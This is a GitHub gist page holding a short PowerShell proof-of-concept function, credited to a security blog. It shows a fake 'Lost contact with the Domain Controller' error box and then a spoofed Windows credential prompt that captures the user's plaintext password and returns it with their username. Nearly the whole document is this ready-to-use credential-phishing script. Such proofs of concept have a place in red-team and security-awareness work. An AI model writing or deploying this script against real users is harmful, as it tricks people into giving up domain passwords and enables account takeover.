Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
Last active August 31, 2022 17:25
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save HarmJ0y/868b64dcf3d10d0d2529 to your computer and use it in GitHub Desktop.
Save HarmJ0y/868b64dcf3d10d0d2529 to your computer and use it in GitHub Desktop.
prompt
# Stolen/adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# POC from greg.foss[at]owasp.org
function prompt {
Add-Type -AssemblyName Microsoft.VisualBasic
[Microsoft.VisualBasic.Interaction]::MsgBox('Lost contact with the Domain Controller.', 'OKOnly,MsgBoxSetForeground,SystemModal,Critical', 'ERROR - 0xA801B720')
$c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
$credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
$c + ":" + $credential.GetNetworkCredential().password
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment